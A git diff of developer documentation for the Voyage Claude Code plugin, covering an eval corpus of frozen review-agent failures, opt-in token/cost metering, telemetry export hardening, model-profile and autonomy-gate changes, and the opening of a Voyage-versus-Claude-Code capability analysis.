3. NOTE — installed-plugin/repo version skew (cache v5.1.1 vs repo v5.5.0); dogfooding the installed plugin doesn't test the dev tree.
|
||||
|
||||
These are **recorded, not fixed** (S22 scope was measurement; each is its own task under the one-task-per-session run-mode). Decision-matrix-style dispositions are **not** test-pinned.
|
||||
104
docs/eval-corpus/README.md
Normal file
104
docs/eval-corpus/README.md
Normal file
|
|
@ -0,0 +1,104 @@
|
|||
# Eval corpus — frozen failures for Voyage's own agents
|
||||
|
||||
This directory is the home for the **golden / frozen-failure corpus** that
|
||||
grounds Voyage's self-evaluation (SKAL-1·4a, the eval-foundation tier). It
|
||||
follows the Anthropic "collect 20–50 real cases" practice: every time a Voyage
|
||||
review/coordinator agent **misfires** on a real task, the case is distilled into
|
||||
a machine-readable record and added here, so the failure can never silently
|
||||
regress.
|
||||
|
||||
This corpus is the gold that the **offline gold-scored output eval (SKAL-1·4b)**
|
||||
scores against — that eval is now implemented and wired into `node --test`
|
||||
(see [§Gold-scored output eval](#gold-scored-output-eval-skal-14b) below). The
|
||||
corpus records here are committed fixtures + a schema; the scoring run is the
|
||||
separate piece that consumes them.
|
||||
|
||||
## Seed example
|
||||
|
||||
The first corpus entry is
|
||||
[`tests/fixtures/bakeoff-rich/gold.json`](../../tests/fixtures/bakeoff-rich/gold.json)
|
||||
— the 5 brief-traceable seeded findings of the bakeoff-rich JWT-auth fixture.
|
||||
`gold.json` is the **canonical machine-readable form**; the prose table in
|
||||
`tests/fixtures/bakeoff-rich/README.md` is illustrative. When they disagree,
|
||||
`gold.json` wins.
|
||||
|
||||
## Record schema (`voyage-eval-gold/1`)
|
||||
|
||||
A corpus file is one JSON object:
|
||||
|
||||
```jsonc
|
||||
{
|
||||
"schema": "voyage-eval-gold/1",
|
||||
"source": "<path to the prose/fixture this was distilled from>",
|
||||
"description": "<one line>",
|
||||
"expected_verdict": "BLOCK | WARN | ALLOW", // review-coordinator Pass-4 outcome
|
||||
"findings": [
|
||||
{
|
||||
"file": "<repo-relative path in the reviewed diff>",
|
||||
"line": 0, // integer >= 0; 0 = file-scoped
|
||||
"rule_key": "<member of lib/review/rule-catalogue.mjs RULE_CATALOGUE>",
|
||||
"severity": "BLOCKER | MAJOR | MINOR | SUGGESTION",
|
||||
"owner_reviewer": "conformance | correctness"
|
||||
// optional eval-extension fields are permitted, e.g.:
|
||||
// "dual_flaggable": "<a second rule_key the same issue could carry>"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Hard constraints
|
||||
|
||||
- **`rule_key` must be a member of `RULE_CATALOGUE`** (`lib/review/rule-catalogue.mjs`).
|
||||
The catalogue is the contract; an invented rule_key is a corpus bug.
|
||||
- **`severity` must be one of `SEVERITY_VALUES`** (`BLOCKER`, `MAJOR`, `MINOR`, `SUGGESTION`).
|
||||
- **`expected_verdict`** is the deterministic Pass-4 outcome of
|
||||
`lib/review/coordinator-contract.mjs::computeVerdict`: `BLOCKER ≥ 1 → BLOCK`,
|
||||
else `MAJOR ≥ 1 → WARN`, else `ALLOW`.
|
||||
- Finding-level fields (`file`, `line`, `rule_key`, `severity`) mirror
|
||||
`FINDING_REQUIRED_FIELDS` (`lib/review/findings-schema.mjs`); `owner_reviewer`
|
||||
and any extension fields are eval-specific additions (superset).
|
||||
|
||||
## Adding a new frozen failure
|
||||
|
||||
1. Distil the misfire into a `voyage-eval-gold/1` record (one `.json` file here,
|
||||
or a new entry in an existing corpus file).
|
||||
2. Confirm every `rule_key` is in the catalogue and `expected_verdict` matches
|
||||
the Pass-4 computation.
|
||||
3. Add (or extend) a loader test in the `tests/lib/gold-corpus.test.mjs` shape so
|
||||
the record's shape + catalogue membership are pinned under `node --test`.
|
||||
|
||||
## Gold-scored output eval (SKAL-1·4b)
|
||||
|
||||
The offline scoring run that grades a recorded agent run against this corpus.
|
||||
**Offline** = committed reviewer payloads, no live agent spawn, no LLM, no
|
||||
network (the LLM-in-the-loop grading is the separate 4c tier).
|
||||
|
||||
- **Committed runs** live under `tests/fixtures/bakeoff-rich/runs/`. Each file is
|
||||
the JSON **reviewer payloads** (one object per reviewer, `{ reviewer, findings }`)
|
||||
that a recorded run produced. `run-perfect.json` is the regression guard: fed
|
||||
through the coordinator contract it must reproduce every seeded gold finding.
|
||||
- **The contract** `lib/review/coordinator-contract.mjs::runContract(payloads)`
|
||||
turns those payloads into the deterministic coordinator output (4a).
|
||||
- **The scorer** `lib/review/gold-scorer.mjs`:
|
||||
- `scoreFindings(runFindings, goldFindings)` matches at **`(file, rule_key)`
|
||||
granularity** (line + severity ignored) → `{ tp, fp, fn, precision, recall,
|
||||
f1, matched, missed, spurious }`. Vacuous-set conventions (empty run →
|
||||
recall 0; empty gold → precision 0; f1 collapses to 0) are documented in the
|
||||
module header.
|
||||
- `scoreVerdict(runVerdict, goldVerdict)` → exact verdict match.
|
||||
- **The scoring run** `tests/lib/gold-eval.test.mjs` asserts `run-perfect`
|
||||
reproduces gold at precision/recall/f1 = 1.0 and `verdict === expected_verdict`.
|
||||
- **Third test-census category.** `lib/util/test-census.mjs` now reports a
|
||||
`goldEval` bucket (matched by `GOLD_EVAL_FILE_RE`) separately from `behavior`
|
||||
and `docPins` — a scoring run is neither behavior coverage nor a prose pin, so
|
||||
the honest-count invariant is now a 3-way sum.
|
||||
|
||||
## Future hardening (not in this tier)
|
||||
|
||||
- A prose↔JSON cross-assertion (parse the fixture README table, diff against
|
||||
`gold.json`) to mechanically bound the two-source-of-truth drift.
|
||||
- Degraded-run fixtures (a run that misses or invents findings) to exercise the
|
||||
scorer's discriminating path end-to-end; today that path is covered by
|
||||
`tests/lib/gold-scorer.test.mjs` with inline synthetic findings.
|
||||
- SKAL-1·4c: the LLM-in-the-loop eval that grades live agent runs (needs a
|
||||
filesystem + model judgement, deliberately excluded from this deterministic tier).
|
||||
|
|
@ -60,6 +60,7 @@ operator-private data (paths, prompts, brief content).
|
|||
| `VOYAGE_TEXTFILE_DIR` | `${CLAUDE_PLUGIN_DATA}` | Directory for `voyage.prom` (textfile mode) |
|
||||
| `VOYAGE_OTEL_ENDPOINT` | _(none)_ | HTTPS URL for OTLP/HTTP POST |
|
||||
| `VOYAGE_OTEL_ALLOW_PRIVATE` | _(unset)_ | Set to `1` to allow loopback / RFC1918 endpoints |
|
||||
| `VOYAGE_TOKEN_METER` | _(unset)_ | Set to a truthy value to capture per-session token/cost into `token-usage-stats.jsonl` on Stop (default off → zero added latency). See **Token/cost metering** below. |
|
||||
|
||||
## Docker Compose quickstart
|
||||
|
||||
|
|
@ -88,6 +89,47 @@ the allowlist explicitly. This is intentional: `${CLAUDE_PLUGIN_DATA}` is
|
|||
trusted local storage; OTel endpoints are operator-controlled and may be
|
||||
external.
|
||||
|
||||
## Token/cost metering
|
||||
|
||||
> **SKAL-2.** Opt-in capture of per-session token usage and a cache-aware USD
|
||||
> cost estimate, folded into the existing Stop hook (`hooks/scripts/otel-export.mjs`).
|
||||
> No new hook is added — capture rides the same Stop event, so there is no
|
||||
> second-Stop-hook ordering race.
|
||||
|
||||
**Activation.** Set `VOYAGE_TOKEN_METER` to any truthy value. When unset (the
|
||||
default) the capture path is skipped entirely — zero added Stop latency. When
|
||||
set, the hook reads the Claude Code transcript (`transcript_path` from the Stop
|
||||
payload), sums token usage, derives cost, and **upserts** one record per session
|
||||
into `${CLAUDE_PLUGIN_DATA}/token-usage-stats.jsonl`. Capture is fail-open: any
|
||||
error (malformed payload, unreadable transcript) is swallowed and never blocks
|
||||
Stop. Once captured, the record is exported like any other stats file when
|
||||
`VOYAGE_EXPORT_MODE` is `textfile` or `otlp`.
|
||||
|
||||
**Schema (`token-usage`).** Flat numeric record:
|
||||
`ts`, `session_id`, `scope`, `model`, `tokens_input`, `tokens_output`,
|
||||
`tokens_cache_creation`, `tokens_cache_read`, `cost_usd`, `is_estimate`,
|
||||
`price_table_version`. The field allowlist (`lib/exporters/field-allowlist.mjs`,
|
||||
`TOKEN_USAGE_ALLOWED`) admits only the numeric + low-cardinality-label fields and
|
||||
**strips `session_id` at export** (CWE-212). The exporter auto-promotes each
|
||||
numeric field to a metric: `voyage_token_usage_tokens_input` (Prometheus) /
|
||||
`voyage.token-usage.tokens_input` (OTLP).
|
||||
|
||||
**Cost contract (honesty).** `cost_usd` is computed from a dated, in-source
|
||||
`PRICE_TABLE` (per-MTok USD), cache-aware:
|
||||
`input + output + cache_creation×(5m write rate) + cache_read×(read rate)`.
|
||||
Each record carries `price_table_version` (the date the prices were resolved)
|
||||
and `is_estimate`. When the transcript's model is **not** in the price table, the
|
||||
meter **refuses to guess**: `cost_usd` is `null` and `is_estimate` is `true`.
|
||||
Prices are volatile — re-resolve them against the `claude-api` reference and bump
|
||||
`PRICE_TABLE_VERSION` when they change.
|
||||
|
||||
**v1 limitation — MAIN-CONTEXT only.** The meter reads the main-session
|
||||
transcript, which contains only `isSidechain:false` records. Sub-agent (swarm)
|
||||
turns live in separate `agent-*.jsonl` sibling files and are **not** counted, so
|
||||
`cost_usd` is a lower bound on total Voyage cost, not the session total. Every
|
||||
record is stamped `scope:'main-context'` to make this explicit. Per-subagent
|
||||
attribution is a documented v2 follow-on (it was a Non-Goal for v1).
|
||||
|
||||
## Security
|
||||
|
||||
The exporter is hardened against three CWE classes:
|
||||
|
|
@ -114,6 +156,40 @@ The exporter is hardened against three CWE classes:
|
|||
| `prom/node-exporter` | `1.10.2` | textfile collector path normalization |
|
||||
| `grafana/grafana` | `11.4.0` | datasource provisioning hardening |
|
||||
|
||||
## Why direct export rather than a native collector
|
||||
|
||||
A balance review (`docs/voyage-vs-cc-balance-analysis.md` §4, V32) asked
|
||||
whether the custom exporters should be dropped in favour of pointing the
|
||||
standard `OTEL_*` environment variables at a co-located OTLP collector,
|
||||
letting that collector own egress and field selection. The operator
|
||||
decision (D2, 2026-06-20) is to **keep direct export**. The rationale is
|
||||
the security boundary, not a preference for re-hosting a collector:
|
||||
|
||||
- **The three guards run in-process, before any byte leaves Voyage.**
|
||||
`path-validator.mjs` (CWE-22), `endpoint-validator.mjs` (CWE-918 / SSRF),
|
||||
and `field-allowlist.mjs` (CWE-212) are applied inside `otel-export.mjs`
|
||||
and covered by `tests/hooks/otel-export-validators.test.mjs`. The
|
||||
records carry operator-private data (paths, prompts, brief content);
|
||||
the allowlist drops everything not explicitly named before export.
|
||||
- **A native-collector design moves that boundary out of audited code.**
|
||||
Handing raw JSONL to a sidecar collector means either re-expressing the
|
||||
field allowlist in collector config (a second source of truth that can
|
||||
drift) or shipping un-allowlisted private fields and trusting the
|
||||
collector's egress rules. The S21 SSRF hardening — 169.254.169.254
|
||||
permanently blocked, loopback/RFC1918 gated behind
|
||||
`VOYAGE_OTEL_ALLOW_PRIVATE` — is a property of `endpoint-validator.mjs`
|
||||
and would have to be re-created in collector configuration to be
|
||||
preserved.
|
||||
- **The collector path is still available, by design.** Operators who
|
||||
want collector semantics (retry, persistence, relabelling) use
|
||||
`textfile` mode and scrape `voyage.prom` with node-exporter / vector /
|
||||
otel-collector. Direct export is the minimal default, not a rejection
|
||||
of collectors — it keeps the data-sanitization boundary in Voyage's
|
||||
own validated code for the common case.
|
||||
|
||||
This is a deliberate direct-export-over-collector choice; the custom
|
||||
exporters and their guards are kept, not pruned.
|
||||
|
||||
## Limitations
|
||||
|
||||
- **Stop-hook is normal-exit only.** If Claude Code crashes or is killed
|
||||
|
|
|
|||
|
|
@ -4,15 +4,17 @@ Imported from `CLAUDE.md` via pointer.
|
|||
|
||||
## Autonomy mode (`--gates`, v3.4.0)
|
||||
|
||||
All four pipeline commands accept `--gates {open|closed|adaptive}`:
|
||||
All four pipeline commands accept a boolean `--gates {true|false}` flag. Presence (`--gates true`, or bare `--gates`) turns gating **on** — the run pauses at autonomy boundaries for operator confirmation. Absence (or `--gates false`, the default) runs phases continuously without pausing.
|
||||
|
||||
| Value | Behavior |
|
||||
|-------|----------|
|
||||
| `open` | Skip optional checkpoints; trust manifests + verify gates only |
|
||||
| `closed` | Stop at every autonomy boundary; operator confirms each transition |
|
||||
| `adaptive` (default) | Stop only at meaningful boundaries (manifest-audit FAIL, plan-critic BLOCKER, main-merge gate) |
|
||||
`/trekexecute` additionally refines *how strict* the gating is via a `gates_mode` policy derived from the brief's effort signal (an explicit operator `--gates` flag takes precedence over the brief signal — see `commands/trekexecute.md` § High-effort behavior (v5.1.1)):
|
||||
|
||||
Under the hood: `lib/util/autonomy-gate.mjs` runs the state machine `idle → approved → executing → merge-pending → main-merged`. `lib/stats/event-emit.mjs` records each transition to `${CLAUDE_PLUGIN_DATA}/trek*-stats.jsonl`. The main-merge gate is the final autonomy boundary before HEAD lands on `main`.
|
||||
| `gates_mode` | Derived from (effort) | Behavior |
|
||||
|--------------|-----------------------|----------|
|
||||
| `adaptive` | standard / absent (default) | Stop only at meaningful boundaries (manifest-audit FAIL, plan-critic BLOCKER, main-merge gate) |
|
||||
| `closed` | high | Stop at every autonomy boundary; operator confirms each transition |
|
||||
| `open` | low | Skip optional checkpoints; trust manifests + verify gates only |
|
||||
|
||||
Under the hood: `lib/util/autonomy-gate.mjs` runs the state machine `idle → gates_on | auto_running → paused_for_gate → completed`. `start` routes to `gates_on` when `--gates true`, else `auto_running`; a `phase_boundary` from `gates_on` pauses at `paused_for_gate` (awaiting `resume`); `finish` reaches the terminal `completed`. The module is pure data with no I/O. Separately, `lib/stats/event-emit.mjs` records named lifecycle events (`brief-approved`, `main-merge-gate`, `user_input`) to `${CLAUDE_PLUGIN_DATA}/trek*-stats.jsonl`. The main-merge gate is the final autonomy boundary before HEAD lands on `main`.
|
||||
|
||||
### Path A/B/C decision (v3.4.0; Path C closed 2026-05-05)
|
||||
|
||||
|
|
@ -26,24 +28,25 @@ A revived Path C (post-v2.2.xxx) would require: (1) re-architecting tool-list to
|
|||
|
||||
## Profile system (`--profile`, v4.1.0)
|
||||
|
||||
Three built-in model profiles plus operator-defined `<custom>.yaml`. Each profile pins `phase_models` for the six pipeline phases (`brief`, `research`, `plan`, `execute`, `review`, `continue`). Profile is recorded in plan.md frontmatter as `profile: <name>` and emitted to `${CLAUDE_PLUGIN_DATA}/trek*-stats.jsonl` for cost-attribution.
|
||||
Four built-in model profiles plus operator-defined `<custom>.yaml`. Each profile pins `phase_models` for the six pipeline phases (`brief`, `research`, `plan`, `execute`, `review`, `continue`). Profile is recorded in plan.md frontmatter as `profile: <name>` and emitted to `${CLAUDE_PLUGIN_DATA}/trek*-stats.jsonl` for cost-attribution.
|
||||
|
||||
| Profile | Brief | Research | Plan | Execute | Review | Continue | Use case |
|
||||
|---------|-------|----------|------|---------|--------|----------|----------|
|
||||
| `economy` | sonnet | sonnet | sonnet | sonnet | sonnet | sonnet | Lowest cost; high-confidence small-scope tasks (operator-opt-in via `--profile economy`) |
|
||||
| `economy` | sonnet | sonnet | sonnet | sonnet | sonnet | sonnet | ⚠ **Experimental** (uncalibrated Jaccard floor) — lowest cost; high-confidence small-scope tasks (operator-opt-in via `--profile economy`) |
|
||||
| `balanced` | sonnet | sonnet | opus | sonnet | opus | sonnet | Mixed — opus where reasoning depth pays off (operator-opt-in via `--profile balanced`) |
|
||||
| `premium` (default) | opus | opus | opus | opus | opus | opus | Maximum quality — Opus on every phase. Default since 2026-05-13 operator request; also the hardcoded resolver default at `lib/profiles/resolver.mjs:145` |
|
||||
| `premium` (default) | opus | opus | opus | opus | opus | opus | Maximum quality — Opus on every phase. Default since 2026-05-13 operator request; also the hardcoded resolver default returned by `resolveProfile()` in `lib/profiles/resolver.mjs` |
|
||||
| `fable` | fable | fable | fable | fable | fable | fable | Max quality — Fable 5 (Mythos-class, above Opus) on every phase (operator-opt-in via `--profile fable`); reasoning effort inherits from the session — see `docs/profiles.md` §Model & effort axes |
|
||||
|
||||
### Lookup order
|
||||
|
||||
1. Explicit `--profile <name>` flag passed to the command
|
||||
2. Plan-file frontmatter `profile:` (when resuming via `/trekexecute --resume` or `/trekcontinue`)
|
||||
3. `VOYAGE_PROFILE` environment variable
|
||||
4. Default `balanced`
|
||||
4. Default `premium`
|
||||
|
||||
### Custom profiles
|
||||
|
||||
Create `lib/profiles/<custom>.yaml` to define a new tier. The validator (`lib/validators/profile-validator.mjs`) enforces: every `phase_models[].phase` must be a known phase enum; every `phase_models[].model` must match `^(opus|sonnet)(\b|-).*` or one of the canonical short names. Custom profiles override built-ins of the same name (lookup is alphabetical with `<custom>` taking precedence).
|
||||
Create `voyage-profiles/<custom>.yaml` in the repo root (or `~/.claude/voyage-profiles/<custom>.yaml`) to define a **new** tier — the name must not be a built-in. The validator (`lib/validators/profile-validator.mjs`) enforces: every `phase_models[].phase` must be a known phase enum; every `phase_models[].model` must exactly match an entry in `BASE_ALLOWED_MODELS` (`['sonnet', 'opus', 'fable']`; `haiku` only with `VOYAGE_ALLOW_HAIKU=1`). `findProfilePath` (`lib/profiles/resolver.mjs`) resolves **built-in first** (`lib/profiles/<name>.yaml` for `economy`/`balanced`/`premium`/`fable`), then repo-root `voyage-profiles/`, then `~/.claude/voyage-profiles/`. A custom file named after a built-in therefore **cannot** shadow it (custom profiles must use new names); for the same custom name, repo-root takes precedence over home.
|
||||
|
||||
Drift between plan-frontmatter `profile:` and step-manifest `profile_used:` emits a `MANIFEST_PROFILE_DRIFT` warning from `plan-validator --strict` (Step 20). Plan remains valid; the warning surfaces accidental tier-mismatch.
|
||||
|
||||
|
|
|
|||
102
docs/profiles.md
102
docs/profiles.md
|
|
@ -6,25 +6,83 @@ cost estimation (with disclaimer).
|
|||
|
||||
## Built-in profiles
|
||||
|
||||
Three pre-defined tiers ship with v4.1, located at
|
||||
`lib/profiles/{economy,balanced,premium}.yaml`.
|
||||
Four pre-defined tiers ship with the plugin (fable added in v5.9), located at
|
||||
`lib/profiles/{economy,balanced,premium,fable}.yaml`.
|
||||
|
||||
| Profile | Brief | Research | Plan | Execute | Review | Continue | Use case |
|
||||
|---------|-------|----------|------|---------|--------|----------|----------|
|
||||
| `economy` | sonnet | sonnet | sonnet | sonnet | sonnet | sonnet | Lowest cost; small-scope tasks where you have high confidence the brief is right |
|
||||
| `balanced` (default) | sonnet | sonnet | opus | sonnet | opus | sonnet | Default — opus where reasoning depth pays off (plan synthesis + adversarial review) |
|
||||
| `premium` | opus | sonnet | opus | sonnet | opus | sonnet | Critical-path planning + review when budget allows |
|
||||
| `economy` | sonnet | sonnet | sonnet | sonnet | sonnet | sonnet | ⚠ **Experimental** (uncalibrated Jaccard floor) — lowest cost; small-scope tasks where you have high confidence the brief is right |
|
||||
| `balanced` | sonnet | sonnet | opus | sonnet | opus | sonnet | Mixed — opus where reasoning depth pays off (plan synthesis + adversarial review); opt-in via `--profile balanced` |
|
||||
| `premium` (default) | opus | opus | opus | opus | opus | opus | Maximum quality — Opus on every phase + external research on (default since the 2026-05-13 operator decision) |
|
||||
| `fable` | fable | fable | fable | fable | fable | fable | Max quality — Fable 5 (Mythos-class, above Opus) on every phase; opt-in via `--profile fable`; reasoning effort inherits from the session (see Model & effort axes) |
|
||||
|
||||
`balanced` is the v4.1 default. It puts opus on the two phases where
|
||||
quality matters most (Plan synthesis + Review) and sonnet everywhere
|
||||
else. This lands the cost/quality trade-off that solo-developers and
|
||||
small teams actually want.
|
||||
`premium` is the default tier — set by the 2026-05-13 operator decision and
|
||||
matched by the hardcoded resolver default in `lib/profiles/resolver.mjs`. It
|
||||
runs opus on every phase and turns external research on: maximum quality, at
|
||||
roughly 5× the sub-agent cost of an all-sonnet run, accepted as a deliberate
|
||||
trade-off. Drop to `--profile balanced` (opus only on the two phases where
|
||||
quality matters most — Plan synthesis + Review — and sonnet everywhere else)
|
||||
or `--profile economy` (sonnet everywhere) when cost or latency matters more
|
||||
than depth. Step up to `--profile fable` (Fable 5 on every phase) when
|
||||
maximum quality is wanted end-to-end and cost is not a constraint.
|
||||
|
||||
`economy` is *strictly experimental* in v4.1. The cross-tier Jaccard
|
||||
floor (0.55) is grounded in parked-synthetic fixtures, not empirical
|
||||
runs (Step 17 calibration was deferred — see
|
||||
`tests/synthetic/profile-jaccard-calibration.md`). If you observe
|
||||
economy-plan quality regressions, fall back to `balanced`.
|
||||
`economy` is *strictly experimental* in v4.1, and says so in the profile
|
||||
data itself: `lib/profiles/economy.yaml` carries `experimental: true`. The
|
||||
cross-tier Jaccard floor (0.55) is grounded in parked-synthetic fixtures, not
|
||||
empirical runs (Step 17 calibration was deferred — see
|
||||
`tests/synthetic/profile-jaccard-calibration.md`). The flag is pinned: it must
|
||||
stay `true` while the calibration status is `parked-synthetic`, and must be
|
||||
dropped in the same change that lands empirical calibration
|
||||
(`status: empirical`). If you observe economy-plan quality regressions, fall
|
||||
back to `balanced`.
|
||||
|
||||
## Model & effort axes
|
||||
|
||||
`opus`, `sonnet`, and `fable` are model **aliases**, not pinned ids. As of
|
||||
Claude Code 2.1.154 the `opus` alias resolves to **Opus 4.8**, whose default
|
||||
reasoning effort is **`high`**; `sonnet` resolves to Sonnet 4.6; `fable`
|
||||
resolves to **Fable 5** (Mythos-class, positioned above Opus), whose default
|
||||
reasoning effort is also `high`. The profile table above selects *which
|
||||
alias* runs each phase — it does not touch reasoning effort.
|
||||
|
||||
**Reasoning effort inherits from the session.** Voyage effort (orchestration
|
||||
shape — which agents/passes run) and model reasoning effort are different
|
||||
axes. Fable 5's default reasoning effort is `high`, NOT xhigh, and switching
|
||||
model resets effort to the model default — xhigh does not follow the model.
|
||||
To run the fable tier at xhigh, set it at session level: `/effort xhigh`, the
|
||||
`effortLevel` setting, or `CLAUDE_CODE_EFFORT_LEVEL`.
|
||||
|
||||
Two different things share the word "effort" in Voyage. They are **orthogonal
|
||||
axes** — same name, different mechanism:
|
||||
|
||||
| | **Orchestration effort** | **Reasoning effort (native)** |
|
||||
|---|---|---|
|
||||
| Where | brief `phase_signals.effort`, consumed by command prose | native Claude Code `effort:` in agent frontmatter |
|
||||
| Values | `low` / `standard` / `high` | `low` / `medium` / `high` / `xhigh` / `max` |
|
||||
| Controls | *which agents/passes/gates run* (swarm cardinality, gate strictness, sequential-vs-parallel) | *per-spawn reasoning-token budget* the harness gives one agent |
|
||||
| `low` means | "run fewer agents" (the `--quick`-equivalent code-path) | "think with a smaller budget" |
|
||||
| Applied by | Voyage command logic | the harness, at spawn time |
|
||||
|
||||
The `phase-signal-resolver.mjs` helper only reads the **orchestration** axis
|
||||
(`phase_signals.effort`, gated against `low/standard/high`) plus the optional
|
||||
per-phase `model` (gated against `['sonnet','opus','fable']`). It never emits
|
||||
native `effort:`.
|
||||
|
||||
**Native `effort:` on agents.** Voyage sets the reasoning axis statically on
|
||||
selected agents, additively over the Opus-4.8 default:
|
||||
|
||||
- **Retrieval agents → `medium`:** `task-finder`, `git-historian`,
|
||||
`dependency-tracer`, `architecture-mapper` (structured discovery, not deep
|
||||
multi-step reasoning).
|
||||
- **Adversarial-reasoning agents → `high`:** `plan-critic`, `risk-assessor`,
|
||||
`contrarian-researcher`, `review-coordinator` (synthesis and stress-testing
|
||||
where reasoning depth pays off).
|
||||
- **All other agents:** unset → inherit the model default (Opus 4.8 = `high`).
|
||||
|
||||
Native-effort precedence (harness): env `CLAUDE_CODE_EFFORT_LEVEL` > frontmatter
|
||||
`effort:` > session setting > model default. `MAX_THINKING_TOKENS=0` (or
|
||||
`--thinking disabled`) overrides effort entirely. Enterprise `availableModels`
|
||||
constrains the *model* alias only — it does **not** bound effort.
|
||||
|
||||
## Decision tree
|
||||
|
||||
|
|
@ -53,7 +111,7 @@ Voyage resolves the profile in this priority order:
|
|||
2. **Plan-file frontmatter `profile:`** — when resuming via
|
||||
`/trekexecute --resume` or `/trekcontinue`
|
||||
3. **`VOYAGE_PROFILE` environment variable** — useful for headless CI
|
||||
4. **Default `balanced`** — final fallback
|
||||
4. **Default `premium`** — final fallback
|
||||
|
||||
The resolved value is recorded in two places:
|
||||
|
||||
|
|
@ -73,14 +131,16 @@ The validator (`lib/validators/profile-validator.mjs`) enforces:
|
|||
|
||||
- Every `phase_models[].phase` must be a known phase enum:
|
||||
`brief` / `research` / `plan` / `execute` / `review` / `continue`
|
||||
- Every `phase_models[].model` must match `^(opus|sonnet)(\b|-).*` or
|
||||
one of the canonical short names
|
||||
- Every `phase_models[].model` must exactly match an entry in
|
||||
`BASE_ALLOWED_MODELS` (`['sonnet', 'opus', 'fable']` in
|
||||
`lib/validators/profile-validator.mjs`; `haiku` only with
|
||||
`VOYAGE_ALLOW_HAIKU=1`)
|
||||
- All six phases must be present (no partial profiles)
|
||||
|
||||
Custom profiles override built-ins of the same name (lookup is
|
||||
alphabetical with `<custom>` taking precedence). You may NOT redefine
|
||||
`balanced` (the default tier is locked to prevent accidental override
|
||||
of headless CI behaviour); use a different name and reference it via
|
||||
The four built-in names (`economy`, `balanced`, `premium`, `fable`) resolve to their
|
||||
bundled yaml first — `findProfilePath()` returns the built-in before consulting
|
||||
`voyage-profiles/`, so a same-named custom file is ignored and cannot shadow a
|
||||
built-in. To customize, give your profile a new name and reference it via
|
||||
`--profile <new-name>` or `VOYAGE_PROFILE=<new-name>`.
|
||||
|
||||
### Example custom profile
|
||||
|
|
|
|||
237
docs/voyage-vs-cc-balance-analysis.md
Normal file
237
docs/voyage-vs-cc-balance-analysis.md
Normal file
|
|
@ -0,0 +1,237 @@
|
|||
# Voyage-vs-CC Balance Analysis
|
||||
|
||||
**Status:** Analysis — recommendations only, operator-gated before any implementation.
|
||||
**Date:** 2026-06-20. **Baseline:** Claude Code 2.1.183 (latest; 2.1.182 never shipped).
|
||||
**Charter:** `docs/voyage-vs-cc-balance-charter.md`. **Method substrate:** Dynamic Workflow (`wf_41bb3936-e6d`, 96 agents, ~2.97M subagent tokens, 4.6 min) + inline scout + an over-keeping meta-critic.
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
- **Voyage's existence is justified by ONE thing the audit confirms end-to-end:** typed, versioned, cross-stage/cross-session **structured-artifact handovers** (brief → research → plan → execute → review → continue) plus **multi-session discipline**. CC 2.1.183 has no native analog for a semver-stable public artifact contract or a typed work-state checkpoint. This matches the plugin's own CLAUDE.md self-admission and the operator's primary real use (large tasks across many sessions).
|
||||
- **It is NOT justified by the swarm-relieves-context claim** (measured Δ ≈ 0, unchanged here) and **not by re-implementing CC engines.** Wherever CC ships the engine, Voyage's only defensible role is a *thin policy layer that lowers the expertise bar* — never a re-implementation.
|
||||
- **Disposition tally (35 capabilities, post-adversarial):** KEEP 25 · THIN_WRAP 6 · SIMPLIFY 4 · DROP→NATIVE 0.
|
||||
- **The zero-DROP result is over-keeping at the edges.** A meta-critic flags **4 genuine downgrade candidates** (V09 Gemini-bridge, V15 text-export variants, V32 observability export, V35 dormant synthesis-agent). Acting on all of them trims the edges; it does **not** move the headline.
|
||||
- **Nothing recommended here breaks Handover 1** (the public brief contract). Every operator-pinned decision the analysis brushes is flagged, never silently overridden.
|
||||
|
||||
---
|
||||
|
||||
## 1. Method & evidence base (Phase 0–1)
|
||||
|
||||
### 1.1 Post-2.1.181 CC delta (Verification #4)
|
||||
|
||||
Latest CC = **2.1.183** (June 19 2026). **2.1.182 never existed** (skipped build). 2.1.183 = bugfixes + auto-mode git safety guards only. **No new features touch the Workflow tool, plan mode, Artifacts, subagent nesting, or session checkpointing.** Several 2.1.183 fixes actually *repair* Voyage swarm failure modes (subagent-spawn 400s, empty WebSearch-in-subagent, silent thinking-only completions, tmux teammate launch, background-task premature termination) — no Voyage code change needed. **Conclusion: the CC-native overlap baseline is unchanged from the 2.1.181 decision matrix.**
|
||||
|
||||
### 1.2 Anchor verdicts carried in (not re-derived)
|
||||
|
||||
| Prior finding | Verdict | Source |
|
||||
|---|---|---|
|
||||
| Sub-agents can nest ≤5 deep | true since CC 2.1.172 (old "harness hides Agent tool" premise is FALSE) | `cc-upgrade-2.1.181-decision-matrix.md` CC-01 |
|
||||
| Delegate the orchestration loop to a sub-agent (CC-26) | **lean NO** — only upside is main-context relief, measured Δ=0; new proliferation-classifier risk | `T1-cc26-delegated-orchestration.md` |
|
||||
| Workflow tool as substrate (CC-27) | **selective hybrid** — schema-contract win real; wholesale swap DECLINED | `T2-cc27-workflow-substrate.md` |
|
||||
| Synthesis delegated to a sub-agent (T1 PoC) | **Δ main-context = 0.0%** (exploration already runs foreground; digest returns on top) → dormant | `T1-synthesis-poc-results.md` |
|
||||
| Flagship "swarm relieves context" | **unproven**; structured-artifact handovers are the load-bearing benefit | root `CLAUDE.md` (verbatim self-admission) |
|
||||
|
||||
### 1.3 The two decision axes
|
||||
|
||||
- **Axis A — Duplication:** does CC 2.1.183 do this natively? does it do it *better*?
|
||||
- **Axis B — Expertise-bar:** does Voyage's wrapper let a non-CC-expert get the value *without* knowing CC internals?
|
||||
|
||||
**Disposition vocabulary:** KEEP (Voyage-unique/clearly better) · THIN_WRAP (CC is the engine; keep a thin accessibility layer, delegate the engine) · DROP→NATIVE (CC better + no real expertise gap; remove + document native path) · SIMPLIFY (keep, shed complexity CC now handles).
|
||||
|
||||
**The tension the analysis was forced to resolve per capability:** a feature CC does "better" raw can still deserve THIN_WRAP if raw CC requires expertise — *accessibility can justify a wrapper, never a re-implementation.*
|
||||
|
||||
### 1.4 How the classification ran
|
||||
|
||||
35 canonical capabilities (consolidated from 42 command-level + ~30 infra inventory rows). Each ran a 3-stage pipeline: **(A)** CC-overlap map (sonnet) → **(B)** A×B classification → disposition (opus) → **(C)** adversarial verify of every KEEP/DROP→NATIVE (opus, high effort). Stage-B/C agents read the actual Voyage code (validators, hooks, command prose) and cite `file:line`. A final **over-keeping meta-critic** then attacked the zero-DROP outcome holistically (§4).
|
||||
|
||||
---
|
||||
|
||||
## 2. The balance thesis
|
||||
|
||||
